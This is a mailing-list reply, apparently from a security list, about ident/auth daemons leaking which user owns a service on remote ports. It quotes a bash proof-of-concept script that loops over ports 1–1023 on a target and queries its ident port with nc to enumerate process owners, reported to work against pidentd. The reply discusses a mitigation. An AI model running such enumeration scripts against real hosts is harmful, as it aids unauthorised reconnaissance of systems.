Rainer Weikusat <[EMAIL PROTECTED]> writes:
> Dan Harkless <[EMAIL PROTECTED]> writes:
> > > Using this grammar applied to the data we send to an arbitrary host piped
> > > to the ident/auth port will reveal the process owner running on a given
> > > port, even though we initiated the connection.
> >
> > Uh, no. With properly-written ident daemons, such as pidentd,
> -------------
> #!/bin/bash
> #
>
> if [ "$1" != sub ];
> then
> export HOST=$(host $1 | awk '{ print $3; }')
> declare -i I=1
> export PPPID=$$
>
> while [ $I -lt 1024 ];
> do
> (
> export I
> socket -r -p "$0 sub" $HOST $I 2>/dev/null
> )
>
> I=$(($I + 1))
> done
> else
> LOCAL=$(netstat -n | grep ":.\+$HOST:$I.\+EST"|awk '{print $4;}'| cut -d: -f2)
> echo "$I,$LOCAL" | nc -w 1 $HOST auth >/proc/$PPPID/fd/1
> kill $PPID
> fi
> -------------
>
> Just hacked up. Works wonderfully against pidentd 3.0.7-3 (Debian).
Thanks to those who corrected me on this. I did test my understanding
before posting, and I couldn't get my pidentd to respond for connections
that didn't originate on its machine, but obviously I was doing something
wrong (not sure what). A re-test just now reveals that indeed it will
respond correctly for connections not originating on the machine it's
running on.
Well, there's a feature request for auth/ident/tap daemons running on OSes
(if any) that can distinguish after-the-fact between connections that
originated locally and those that originated remotely. Assuming that
doesn't break RFCs 931 / 1413, of course (I'd re-read them right now to
check, if I had the time)...
----------------------------------------------------------------------
Dan Harkless | To prevent SPAM contamination, please
[EMAIL PROTECTED] | do not mention this private email
SpeedGate Communications, Inc. | address in Usenet posts. Thank you.